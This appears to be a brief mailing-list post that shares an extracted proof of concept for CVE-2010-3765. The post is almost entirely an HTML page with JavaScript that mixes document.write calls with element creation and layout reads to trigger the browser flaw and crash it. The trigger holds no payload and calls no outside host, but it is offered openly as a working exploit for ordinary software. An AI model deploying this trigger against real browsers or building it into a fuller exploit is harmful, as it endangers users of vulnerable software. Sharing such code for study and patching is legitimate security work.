Hi there,

For those who still do not know .. The proof of concept (that I have
extracted) for CVE-2010-3765 is the following:

<html><body>
<script>

  function G(str){
    var cobj=document.createElement(str);
    document.body.appendChild(cobj);
    cobj.scrollWidth;
  }

  function crashme() {
    document.write("fooFOO");
    G("a");
    document.write("<a lang></a>a");
    G("base");
    document.write("barBAR");
    G("audio");
  }
</script>
<script>crashme();</script>
</body>
</html>
